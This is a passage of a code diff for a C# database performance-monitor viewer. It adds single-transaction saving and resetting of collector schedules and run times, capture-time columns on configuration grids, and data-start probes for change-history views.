+    /// statement. The changes share one transaction, so a failure leaves none of them written; the table's own
+    /// statement-level trigger bumps <c>config_version</c>, so a running service reloads.
+    ///
+    /// <para>The schedule window's Save does not call this: it calls <see cref="SaveCollectorScheduleAsync"/>, which writes the
+    /// run times and the schedule rows in ONE transaction, so a Save that fails part way leaves neither.</para>
+    ///
+    /// <para>A read-only seat (42501) throws <see cref="ViewerReadOnlyException"/>. A store below V160 (42P01 undefined_table)
+    /// throws <see cref="ViewerSchemaSkewException"/>, the message that says the store is older than this viewer and the
+    /// service must migrate it, and not the raw error: the connect gate refuses such a store first, but its probe fails open
+    /// when it throws, so the save has to say it itself.</para>
+    /// </summary>
+    public async Task SaveCollectorRunTimesAsync(IReadOnlyList<CollectorRunTimeChange> changes, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(changes);
+        if (changes.Count == 0)
+        {
+            return;
+        }
+
+        try
+        {
+            await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+            await WriteRunTimeChangesAsync(connection, transaction, changes, cancellationToken);
+            await transaction.CommitAsync(cancellationToken);
+        }
+        catch (PostgresException ex) when (ex.SqlState == InsufficientPrivilegeSqlState)
+        {
+            throw new ViewerReadOnlyException(ex);
+        }
+    }
+
+    /// <summary>
+    /// The schedule window's Save as ONE transaction on one connection (#4938): the run-time changes first (the statements
+    /// <see cref="SaveCollectorRunTimesAsync"/> runs), then the scope's schedule rows, which are the delete-and-reinsert
+    /// <see cref="ReplaceFleetSchedulesAsync"/> (<paramref name="serverId"/> null) and <see cref="ReplaceServerSchedulesAsync"/>
+    /// run, statement for statement. A schedule write that fails therefore leaves the run times unsaved too, and a run-time
+    /// write that fails leaves the schedule rows as they were: a failed Save leaves neither.
+    ///
+    /// <para>No run-time change means no run-time statement, so a Save that changed no run time still saves its schedules on a
+    /// store below V160, which has no run-time table. Errors map as the two writes always did: a read-only seat (42501) throws
+    /// <see cref="ViewerReadOnlyException"/>, and a run-time statement that finds the table (42P01) or a column (42703) missing
+    /// throws <see cref="ViewerSchemaSkewException"/>. The schedule statements are exactly the ones a released viewer runs, and
+    /// a released viewer never writes a run time, so nothing older is affected.</para>
+    /// </summary>
+    public Task SaveCollectorScheduleAsync(
+        int? serverId, IEnumerable<CollectorScheduleRow> rows, IReadOnlyList<CollectorRunTimeChange> runTimeChanges,
+        CancellationToken cancellationToken = default) =>
+        SaveCollectorScheduleAsync(serverId, rows, runTimeChanges, clearScopeRunTimes: false, cancellationToken);
+
+    /// <summary>
+    /// The same ONE-transaction Save for a schedule that is being reset (#4938): with <paramref name="clearScopeRunTimes"/> the scope's
+    /// run-time rows are deleted FIRST, in the same transaction, whatever collector they are for and whether or not the window ever
+    /// showed them, and then <paramref name="runTimeChanges"/> are written as the statements they are, so a time the grid holds
+    /// after the reset is inserted anew. A reset means back to the shipped defaults, which have no fixed time, and the window's
+    /// "Reset to Defaults" and a server's "Use default schedule" are that reset. The scope is the fleet's rows when
+    /// <paramref name="serverId"/> is null and that server's rows otherwise; no other scope is touched.
+    ///
+    /// <para>A store below V160 has no run-time table and so no run times to delete: the clear is skipped there (asked of the
+    /// catalog first, because a failed statement would abort the transaction), and a Save with no run-time change still saves its
+    /// schedules.</para>
+    /// </summary>
+    public Task SaveCollectorScheduleAsync(
+        int? serverId, IEnumerable<CollectorScheduleRow> rows, IReadOnlyList<CollectorRunTimeChange> runTimeChanges,
+        bool clearScopeRunTimes, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(runTimeChanges);
+        return ReplaceScheduleScopeAsync(serverId, rows, runTimeChanges, clearScopeRunTimes, cancellationToken);
+    }
+
+    /// <summary>The run-time changes, each one a statement on the caller's connection and transaction (#4938), so the caller
+    /// decides what they commit with. A store below V160 throws <see cref="ViewerSchemaSkewException"/> (42P01 undefined_table, or
+    /// 42703 undefined_column); every other failure, 42501 included, propagates for the caller's own mapping.</summary>
+    private static async Task WriteRunTimeChangesAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, IReadOnlyList<CollectorRunTimeChange> changes, CancellationToken cancellationToken)
+    {
+        try
+        {
+            foreach (var change in changes)
+            {
+                await using var command = BuildRunTimeCommand(change, connection, transaction);
+                await command.ExecuteNonQueryAsync(cancellationToken);
+            }
+        }
+        catch (PostgresException ex) when (ex.SqlState is UndefinedColumnSqlState or UndefinedTableSqlState)
+        {
+            throw new ViewerSchemaSkewException(ex);
+        }
+    }
+
+    /// <summary>The one statement for one change (#4938): the upsert of the row when it carries a time, else the delete of the
+    /// row, for the fleet or for the server. The time binds as a smallint, the column's type.</summary>
+    private static NpgsqlCommand BuildRunTimeCommand(CollectorRunTimeChange change, NpgsqlConnection connection, NpgsqlTransaction transaction)
+    {
+        var fleet = change.ServerId is null;
+        var command = new NpgsqlCommand(
+            change.RunAtMinute is null
+                ? (fleet ? CollectorRunTimeFleetDeleteSql : CollectorRunTimeServerDeleteSql)
+                : (fleet ? CollectorRunTimeFleetUpsertSql : CollectorRunTimeServerUpsertSql),
+            connection, transaction) { CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds };
+
+        if (change.ServerId is int serverId)
+        {
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });                         // $1 (server scope)
+        }
+
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = change.CollectorName });              // $1 fleet / $2 server
+
+        if (change.RunAtMinute is int minute)
+        {
+            /* checked: a value that does not fit a smallint is a bug in the caller, never a silent wrap. The column's own CHECK
+               refuses anything outside 0-1439 (and -1 off a server row), so the store is the last word on the range. */
+            command.Parameters.Add(new NpgsqlParameter<short> { TypedValue = checked((short)minute) });         // $2 fleet / $3 server
+        }
+
+        return command;
+    }
+
     /// <summary>
     /// Atomically replaces the FLEET scope's overrides: delete every fleet row, then upsert the supplied ones
     /// (pass only collectors that differ from the code default to keep the table sparse). Read-only seats throw
     /// <see cref="ViewerReadOnlyException"/>.
     /// </summary>
     public Task ReplaceFleetSchedulesAsync(IEnumerable<CollectorScheduleRow> rows, CancellationToken cancellationToken = default) =>
-        ReplaceScheduleScopeAsync(serverId: null, rows, cancellationToken);
+        ReplaceScheduleScopeAsync(serverId: null, rows, Array.Empty<CollectorRunTimeChange>(), clearScopeRunTimes: false, cancellationToken);
 
     /// <summary>
     /// Atomically replaces one SERVER's overrides: delete the server's rows, then upsert the supplied ones. Pass
     /// an empty sequence to revert the server to the fleet/default schedule (the "use default" case).
     /// </summary>
     public Task ReplaceServerSchedulesAsync(int serverId, IEnumerable<CollectorScheduleRow> rows, CancellationToken cancellationToken = default) =>
-        ReplaceScheduleScopeAsync(serverId, rows, cancellationToken);
+        ReplaceScheduleScopeAsync(serverId, rows, Array.Empty<CollectorRunTimeChange>(), clearScopeRunTimes: false, cancellationToken);
 
     /// <summary>
-    /// Reverts EVERY server's per-server schedule override back to the fleet/default schedule in one statement
-    /// (the "Apply Default to All" bulk reset) — the fleet-scale shortcut over reverting one server at a time.
-    /// Deletes all per-server rows and leaves the fleet-wide (<c>server_id IS NULL</c>) overrides in place;
-    /// returns the number of override rows removed. The V17 <c>trg_bump_collector_schedules</c> trigger bumps
-    /// <c>config_version</c> on the DELETE, so the service re-resolves schedules on its next sweep (same reload
-    /// path as <see cref="ReplaceServerSchedulesAsync"/>). A read-only seat throws <see cref="ViewerReadOnlyException"/>.
+    /// Reverts EVERY server's per-server schedule override back to the fleet/default schedule (the "Apply Default to All" bulk
+    /// reset) — the fleet-scale shortcut over reverting one server at a time. Deletes all per-server schedule rows AND all
+    /// per-server run times (#4938), in ONE transaction, and leaves the fleet-wide (<c>server_id IS NULL</c>) rows of both tables
+    /// in place: a server's run time is part of its override, and a reset means back to the shipped defaults, which have no
+    /// fixed time. Returns the rows removed from each table, counted apart (<see cref="CollectorScheduleResetCounts"/>), so the
+    /// editor can say how many schedule overrides and how many run times it reset. The schedule rows go first, so a failure
+    /// in the run-time delete leaves the schedule rows in place too. The V17 <c>trg_bump_collector_schedules</c> trigger and the
+    /// run-time table's own bump <c>config_version</c> on the DELETE, so the service re-resolves schedules on its next sweep
+    /// (same reload path as <see cref="ReplaceServerSchedulesAsync"/>).
+    ///
+    /// <para>A read-only seat (42501) throws <see cref="ViewerReadOnlyException"/>, and a missing table or column (42P01,
+    /// 42703) throws <see cref="ViewerSchemaSkewException"/>. A store below V160 has no run-time table and so no run times to
+    /// remove: that half is skipped there and the schedule rows are still reset.</para>
+    ///
+    /// <para>A viewer released before the run-time table existed deletes the schedule rows only, so a run time set by this
+    /// viewer survives a reset done in an older one.</para>
     /// </summary>
-    public async Task<int> ResetAllServerSchedulesAsync(CancellationToken cancellationToken = default)
+    public async Task<CollectorScheduleResetCounts> ResetAllServerSchedulesAsync(CancellationToken cancellationToken = default)
     {
-        await using var command = _dataSource.CreateCommand(CollectorScheduleDeleteAllServerScopesSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        return await ExecuteWriteAsync(command, cancellationToken);
+        try
+        {
+            await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
+            await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+            int scheduleOverrides;
+            await using (var schedules = new NpgsqlCommand(CollectorScheduleDeleteAllServerScopesSql, connection, transaction)
+            {
+                CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds,
+            })
+            {
+                scheduleOverrides = await schedules.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            var runTimes = await DeleteRunTimesAsync(connection, transaction, CollectorRunTimeDeleteAllServerScopesSql, serverId: null, cancellationToken);
+            await transaction.CommitAsync(cancellationToken);
+            return new CollectorScheduleResetCounts(scheduleOverrides, runTimes);
+        }
+        catch (PostgresException ex) when (ex.SqlState == InsufficientPrivilegeSqlState)
+        {
+            throw new ViewerReadOnlyException(ex);
+        }
+        catch (PostgresException ex) when (ex.SqlState is UndefinedColumnSqlState or UndefinedTableSqlState)
+        {
+            throw new ViewerSchemaSkewException(ex);
+        }
+    }
+
+    /// <summary>One run-time delete on the caller's connection and transaction (#4938), for a scope, one server or every server
+    /// (<paramref name="deleteSql"/>, with <paramref name="serverId"/> bound as $1 when the statement takes it), and the rows it
+    /// removed. A store below V160 has no run-time table, which is no run times to remove: the table is asked of the catalog first
+    /// (<see cref="CollectorRunTimeTableExistsSql"/>), because a failed statement would abort the caller's transaction and the
+    /// 42P01 could not be caught and carried on from, and a store without it removes 0. Every other failure propagates for the
+    /// caller's own mapping.</summary>
+    private static async Task<int> DeleteRunTimesAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, string deleteSql, int? serverId, CancellationToken cancellationToken)
+    {
+        await using (var exists = new NpgsqlCommand(CollectorRunTimeTableExistsSql, connection, transaction)
+        {
+            CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds,
+        })
+        {
+            if (await exists.ExecuteScalarAsync(cancellationToken) is not true)
+            {
+                return 0;
+            }
+        }
+
+        await using var delete = new NpgsqlCommand(deleteSql, connection, transaction)
+        {
+            CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds,
+        };
+        if (serverId is int sid)
+        {
+            delete.Parameters.Add(new NpgsqlParameter<int> { TypedValue = sid });
+        }
+
+        return await delete.ExecuteNonQueryAsync(cancellationToken);
     }
 
-    private async Task ReplaceScheduleScopeAsync(int? serverId, IEnumerable<CollectorScheduleRow> rows, CancellationToken cancellationToken)
+    /// <summary>One scope's schedule rows, and with <paramref name="runTimeChanges"/> the run times too (#4938), in ONE transaction
+    /// on one connection. The schedule statements are the released viewers' own, unchanged; the run-time statements run first
+    /// and only when there are changes, so a store without the run-time table still saves a Save that changed no run time. A
+    /// schedule Reset (<paramref name="clearScopeRunTimes"/>) deletes the scope's run-time rows ahead of those changes, in the same
+    /// transaction.</summary>
+    private async Task ReplaceScheduleScopeAsync(
+        int? serverId, IEnumerable<CollectorScheduleRow> rows, IReadOnlyList<CollectorRunTimeChange> runTimeChanges,
+        bool clearScopeRunTimes, CancellationToken cancellationToken)
     {
         ArgumentNullException.ThrowIfNull(rows);
 
@@ -145,6 +443,22 @@ private async Task ReplaceScheduleScopeAsync(int? serverId, IEnumerable<Collecto
             await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
             await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
 
+            if (clearScopeRunTimes)
+            {
+                /* Reset means back to the shipped defaults, which have no fixed time: every run-time row of this scope goes,
+                   by scope and not by what the window loaded, so a row for a collector this build does not define, or one
+                   another writer added while the window was open, goes too. */
+                await DeleteRunTimesAsync(
+                    connection, transaction,
+                    serverId is null ? CollectorRunTimeDeleteFleetScopeSql : CollectorRunTimeDeleteServerScopeSql,
+                    serverId, cancellationToken);
+            }
+
+            if (runTimeChanges.Count > 0)
+            {
+                await WriteRunTimeChangesAsync(connection, transaction, runTimeChanges, cancellationToken);
+            }
+
             /* Clear the scope first so removed overrides don't linger, then re-insert the current set. */
             await using (var delete = new NpgsqlCommand(
                 serverId is null ? CollectorScheduleDeleteFleetScopeSql : CollectorScheduleDeleteServerScopeSql, connection, transaction))
@@ -211,4 +525,27 @@ private static void AddNullableTextArray(NpgsqlCommand command, IReadOnlyList<st
 /// null = column NULL (falls through), empty = the explicit "no scope" that stops the fall-through,
 /// non-empty = collect only those databases (<c>excludedDatabases</c> still wins downstream).
 /// </summary>
-public sealed record CollectorScheduleRow(int? ServerId, string CollectorName, int? FrequencyMinutes, int? RetentionDays, bool Enabled, IReadOnlyList<string>? Databases = null);
+public sealed record CollectorScheduleRow(int? ServerId, string CollectorName, int? FrequencyMinutes, int? RetentionDays, bool Enabled, IReadOnlyList<string>? Databases = null)
+    : PerformanceMonitor.Collectors.IScheduleFrequencyOverride;
+
+/// <summary>
+/// One <c>config.config_collector_run_times</c> row as the viewer reads it (#4938): the time of day a collector that runs
+/// once a day or less often starts. <see cref="ServerId"/> NULL = fleet-wide. <see cref="RunAtMinute"/> is minutes after
+/// midnight on the monitored server's own clock (0-1439), or -1 on a server row for "no fixed time on this server", which
+/// stops a fleet-wide time for that server only. No row is no run time at that level.
+/// </summary>
+public sealed record CollectorRunTimeRow(int? ServerId, string CollectorName, int RunAtMinute);
+
+/// <summary>
+/// One change the editor makes to the run-time table (#4938), each written as a statement of its own: a value upserts the
+/// row for the scope and collector, and null deletes it (no run time at that level, so the scope falls back to the next one).
+/// </summary>
+public sealed record CollectorRunTimeChange(int? ServerId, string CollectorName, int? RunAtMinute);
+
+/// <summary>
+/// What "Apply Default to All Servers" removed (#4938), each kind counted on its own: <see cref="ScheduleOverrides"/> is the
+/// per-server rows of <c>config.config_collector_schedules</c> and <see cref="RunTimes"/> the per-server rows of
+/// <c>config.config_collector_run_times</c> (0 on a store below V160, which has no such table). The editor's status line
+/// names each, so a reset of run times alone does not read as a reset of schedule overrides.
+/// </summary>
+public sealed record CollectorScheduleResetCounts(int ScheduleOverrides, int RunTimes);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Commands.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Commands.cs
index 693a8f624e..0766f8c2c9 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Commands.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Commands.cs
@@ -321,7 +321,7 @@ public sealed class TestConnectServer
     [JsonPropertyName("username")]
     public string? Username { get; set; }
 
-    /// <summary>DPAPI-LocalMachine blob (<see cref="ViewerServerSecret.Protect"/>) — the service decrypts it on its host.</summary>
+    /// <summary>The sealed password (<see cref="ViewerPasswordSealer.Seal"/>), sealed for this request's connection settings; the service opens it on its host.</summary>
     [JsonPropertyName("encryptedPassword")]
     public string? EncryptedPassword { get; set; }
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Config.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Config.cs
index 8cd7e80422..294e4c16fb 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Config.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Config.cs
@@ -29,14 +29,14 @@ namespace PerformanceMonitor.Darling.Viewer;
 public sealed partial class ViewerDataService
 {
     public const string ServerConfigSql = """
-        SELECT configuration_name, value_configured, value_in_use, is_dynamic, is_advanced
+        SELECT configuration_name, value_configured, value_in_use, is_dynamic, is_advanced, capture_time
         FROM v_server_config
         WHERE server_id = $1
         AND   capture_time = (SELECT MAX(capture_time) FROM v_server_config WHERE server_id = $1)
         ORDER BY configuration_name
         """;
 
-    /* 28 columns in Lite's exact SELECT order — the database-config reader below maps them by
+    /* 28 columns, then capture_time (#4966), in Lite's exact SELECT order — the database-config reader below maps them by
        incrementing ordinal, so this list's order is load-bearing and must stay byte-identical. */
     public const string DatabaseConfigSql = """
         SELECT database_name, state_desc, compatibility_level, collation_name, recovery_model,
@@ -46,7 +46,8 @@ ORDER BY configuration_name
                is_query_store_on, is_encrypted, is_trustworthy_on, is_db_chaining_on,
                is_broker_enabled, is_cdc_enabled, is_mixed_page_allocation_on,
                log_reuse_wait_desc, page_verify_option, target_recovery_time_seconds, delayed_durability,
-               is_accelerated_database_recovery_on, is_memory_optimized_enabled, is_optimized_locking_on
+               is_accelerated_database_recovery_on, is_memory_optimized_enabled, is_optimized_locking_on,
+               capture_time
         FROM v_database_config
         WHERE server_id = $1
         AND   capture_time = (SELECT MAX(capture_time) FROM v_database_config WHERE server_id = $1)
@@ -55,7 +56,7 @@ ORDER BY database_name
         """;
 
     public const string DatabaseScopedConfigSql = """
-        SELECT database_name, configuration_name, value, value_for_secondary
+        SELECT database_name, configuration_name, value, value_for_secondary, capture_time
         FROM v_database_scoped_config
         WHERE server_id = $1
         AND   capture_time = (SELECT MAX(capture_time) FROM v_database_scoped_config WHERE server_id = $1)
@@ -70,7 +71,7 @@ FROM v_database_scoped_config
        connect-time gate in ViewerDataService.cs holds at V137: a store below it has no such column and this
        read would throw on the Query Store grid. */
     public const string QueryStoreHealthSql = """
-        SELECT database_name, actual_state, desired_state, readonly_reason, current_storage_size_mb, max_storage_size_mb, size_based_cleanup_mode, stale_query_threshold_days, max_plans_per_query, interval_length_minutes, query_capture_mode, wait_stats_capture_mode
+        SELECT database_name, actual_state, desired_state, readonly_reason, current_storage_size_mb, max_storage_size_mb, size_based_cleanup_mode, stale_query_threshold_days, max_plans_per_query, interval_length_minutes, query_capture_mode, wait_stats_capture_mode, capture_time
         FROM v_query_store_health
         WHERE server_id = $1
         AND   capture_time = (SELECT MAX(capture_time) FROM v_query_store_health WHERE server_id = $1)
@@ -90,7 +91,7 @@ ORDER BY database_name
     /// pre-fix reading. <c>DarlingCurrentConfigReader.TraceFlagsSql</c> and Lite's twin carry the same test.
     /// </summary>
     public const string TraceFlagsSql = """
-        SELECT trace_flag, status, is_global, is_session
+        SELECT trace_flag, status, is_global, is_session, capture_time
         FROM v_trace_flags
         WHERE server_id = $1
         AND   capture_time = (SELECT MAX(capture_time) FROM v_trace_flags WHERE server_id = $1)
@@ -120,7 +121,8 @@ public async Task<List<ServerConfigRow>> GetLatestServerConfigAsync(int serverId
                 ValueConfigured = reader.IsDBNull(1) ? 0 : reader.GetInt64(1),
                 ValueInUse = reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
                 IsDynamic = !reader.IsDBNull(3) && reader.GetBoolean(3),
-                IsAdvanced = !reader.IsDBNull(4) && reader.GetBoolean(4)
+                IsAdvanced = !reader.IsDBNull(4) && reader.GetBoolean(4),
+                CaptureTime = reader.GetDateTime(5)
             });
         }
 
@@ -172,6 +174,7 @@ DatabaseConfigSql binds to the same properties — see the SELECT's byte-identic
                 IsAcceleratedDatabaseRecoveryOn = !reader.IsDBNull(++ordinal) && reader.GetBoolean(ordinal),
                 IsMemoryOptimizedEnabled = !reader.IsDBNull(++ordinal) && reader.GetBoolean(ordinal),
                 IsOptimizedLockingOn = reader.IsDBNull(++ordinal) ? null : reader.GetBoolean(ordinal),
+                CaptureTime = reader.GetDateTime(++ordinal),
             });
         }
 
@@ -195,7 +198,8 @@ public async Task<List<DatabaseScopedConfigRow>> GetLatestDatabaseScopedConfigAs
                 DatabaseName = reader.GetString(0),
                 ConfigurationName = reader.GetString(1),
                 Value = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                ValueForSecondary = reader.IsDBNull(3) ? "" : reader.GetString(3)
+                ValueForSecondary = reader.IsDBNull(3) ? "" : reader.GetString(3),
+                CaptureTime = reader.GetDateTime(4)
             });
         }
 
@@ -231,6 +235,7 @@ public async Task<List<QueryStoreHealthRow>> GetLatestQueryStoreHealthAsync(int
                    and the display properties render it as the grid's absence glyph rather than as "". */
                 QueryCaptureMode = reader.IsDBNull(10) ? null : reader.GetString(10),
                 WaitStatsCaptureMode = reader.IsDBNull(11) ? null : reader.GetString(11),
+                CaptureTime = reader.GetDateTime(12),
             });
         }
 
@@ -253,7 +258,8 @@ public async Task<List<TraceFlagRow>> GetLatestTraceFlagsAsync(int serverId, Can
                 TraceFlag = reader.GetInt32(0),
                 Status = !reader.IsDBNull(1) && reader.GetBoolean(1),
                 IsGlobal = !reader.IsDBNull(2) && reader.GetBoolean(2),
-                IsSession = !reader.IsDBNull(3) && reader.GetBoolean(3)
+                IsSession = !reader.IsDBNull(3) && reader.GetBoolean(3),
+                CaptureTime = reader.GetDateTime(4)
             });
         }
 
@@ -266,6 +272,12 @@ public async Task<List<TraceFlagRow>> GetLatestTraceFlagsAsync(int serverId, Can
 
 public class ServerConfigRow
 {
+    /// <summary>#4966: when this row's snapshot was captured (UTC); every row of one snapshot shares it. The grid's Collected column sorts on it.</summary>
+    public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: <see cref="CaptureTime"/> to the second, in the display zone (the grid's Collected column).</summary>
+    public string CaptureTimeLocal => ViewerTimeHelper.FormatForDisplay(CaptureTime, "yyyy-MM-dd HH:mm:ss");
+
     public string ConfigurationName { get; set; } = "";
     public long ValueConfigured { get; set; }
     public long ValueInUse { get; set; }
@@ -278,6 +290,12 @@ public class ServerConfigRow
 
 public class DatabaseConfigRow
 {
+    /// <summary>#4966: when this row's snapshot was captured (UTC); every row of one snapshot shares it. The grid's Collected column sorts on it.</summary>
+    public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: <see cref="CaptureTime"/> to the second, in the display zone (the grid's Collected column).</summary>
+    public string CaptureTimeLocal => ViewerTimeHelper.FormatForDisplay(CaptureTime, "yyyy-MM-dd HH:mm:ss");
+
     public string DatabaseName { get; set; } = "";
     public string StateDesc { get; set; } = "";
     public int CompatibilityLevel { get; set; }
@@ -350,6 +368,12 @@ public class DatabaseConfigRow
 /// </summary>
 public class QueryStoreHealthRow
 {
+    /// <summary>#4966: when this row's snapshot was captured (UTC); every row of one snapshot shares it. The grid's Collected column sorts on it.</summary>
+    public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: <see cref="CaptureTime"/> to the second, in the display zone (the grid's Collected column).</summary>
+    public string CaptureTimeLocal => ViewerTimeHelper.FormatForDisplay(CaptureTime, "yyyy-MM-dd HH:mm:ss");
+
     public string DatabaseName { get; set; } = "";
     public string ActualState { get; set; } = "";
     public string DesiredState { get; set; } = "";
@@ -391,6 +415,12 @@ public class QueryStoreHealthRow
 
 public class DatabaseScopedConfigRow
 {
+    /// <summary>#4966: when this row's snapshot was captured (UTC); every row of one snapshot shares it. The grid's Collected column sorts on it.</summary>
+    public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: <see cref="CaptureTime"/> to the second, in the display zone (the grid's Collected column).</summary>
+    public string CaptureTimeLocal => ViewerTimeHelper.FormatForDisplay(CaptureTime, "yyyy-MM-dd HH:mm:ss");
+
     public string DatabaseName { get; set; } = "";
     public string ConfigurationName { get; set; } = "";
     public string Value { get; set; } = "";
@@ -399,6 +429,12 @@ public class DatabaseScopedConfigRow
 
 public class TraceFlagRow
 {
+    /// <summary>#4966: when this row's snapshot was captured (UTC); every row of one snapshot shares it. The grid's Collected column sorts on it.</summary>
+    public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: <see cref="CaptureTime"/> to the second, in the display zone (the grid's Collected column).</summary>
+    public string CaptureTimeLocal => ViewerTimeHelper.FormatForDisplay(CaptureTime, "yyyy-MM-dd HH:mm:ss");
+
     public int TraceFlag { get; set; }
     public bool Status { get; set; }
     public bool IsGlobal { get; set; }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ConfigChanges.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ConfigChanges.cs
index 80778337e7..713159310f 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ConfigChanges.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ConfigChanges.cs
@@ -13,6 +13,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -166,6 +167,33 @@ public async Task<List<TraceFlagChangeRow>> GetTraceFlagChangesAsync(
             .ToList();
     }
 
+    /* ─────────────────────────── data-start probes (#4966): where each change history's snapshots start ─────────────────────────── */
+
+    /// <summary>
+    /// Where this server's <c>server_config</c> coverage starts for the window (#4966), through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its first
+    /// snapshot in the window if that is earlier. The three change grids are DIFFS of the snapshots their collector writes,
+    /// so a change's own time is a snapshot's capture time and can never come before the table's coverage: the caller names
+    /// the earlier of this and the earliest change shown (<see cref="ViewerEventDataStart.Of"/>), and the diff keeps no row
+    /// cap (every snapshot up to the window's end is read), so no cap rule applies. Null when the window holds no snapshot
+    /// and no logged run of the collector, when it lies wholly before the coverage, and for a window of 90 minutes or less
+    /// (<see cref="DataWindowFloor.GetForServerAsync"/> starts no query for one).
+    /// </summary>
+    public Task<DateTime?> GetServerConfigChangesDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("server_config"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+    /// <summary>The <c>database_config</c> twin of <see cref="GetServerConfigChangesDataStartAsync"/> (the Database Config Changes grid).
+    /// It asks about the server, not about the databases the grid's filter names: coverage belongs to the table's collector.</summary>
+    public Task<DateTime?> GetDatabaseConfigChangesDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("database_config"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+    /// <summary>The <c>trace_flags</c> twin of <see cref="GetServerConfigChangesDataStartAsync"/> (the Trace Flag Changes grid).</summary>
+    public Task<DateTime?> GetTraceFlagChangesDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("trace_flags"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     private async Task<List<ConfigChangeDiff.ServerConfigSnapshot>> ReadServerConfigSnapshotsAsync(
         int serverId, DateTime endUtc, CancellationToken cancellationToken)
     {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CpuScheduler.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CpuScheduler.cs
index 057206438e..eb3dde3da4 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CpuScheduler.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CpuScheduler.cs
@@ -90,31 +90,7 @@ public sealed partial class ViewerDataService
     /// that merged nothing at its one collection's own raw time (ruling item 3), matching
     /// <see cref="ViewerDataService.GetCpuUtilizationAsync"/>.</para>
     /// </summary>
-    public static readonly string CpuSchedulerTrendSql = $"""
-        WITH raw AS
-        (
-            SELECT
-                collection_time,
-                collection_id,
-                total_runnable_tasks_count,
-                total_blocked_task_count,
-                total_queued_request_count
-            FROM v_cpu_scheduler_stats
-            WHERE server_id = $1
-            AND   collection_time >= $2
-            AND   collection_time <= $3
-        )
-        SELECT
-            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
-            AVG(COALESCE(total_runnable_tasks_count, 0)) AS total_runnable_tasks_count,
-            AVG(COALESCE(total_blocked_task_count, 0)) AS total_blocked_task_count,
-            AVG(COALESCE(total_queued_request_count, 0)) AS total_queued_request_count,
-            MIN(collection_time) AS first_collection_time,
-            COUNT(*) AS collection_count
-        FROM raw
-        GROUP BY 1
-        ORDER BY 1
-        """;
+    public static readonly string CpuSchedulerTrendSql = ServerTrendSql.CpuScheduler;
 
     /// <summary>
     /// The CPU Scheduler latest-snapshot read: the single most recent cpu_scheduler_stats row in the
@@ -255,3 +231,36 @@ public async Task<List<CpuSchedulerTrendPoint>> GetCpuSchedulerTrendAsync(
             OfflineCpuWarning: !reader.IsDBNull(26) && reader.GetBoolean(26));
     }
 }
+
+/// <summary>
+/// One row of the CPU Scheduler latest-snapshot grid (#4966): the shared metric row plus when the snapshot it reads was collected.
+/// The shared <see cref="CpuSchedulerMetricRow"/> leaves the time out on purpose (each app keeps its own time handling), so the
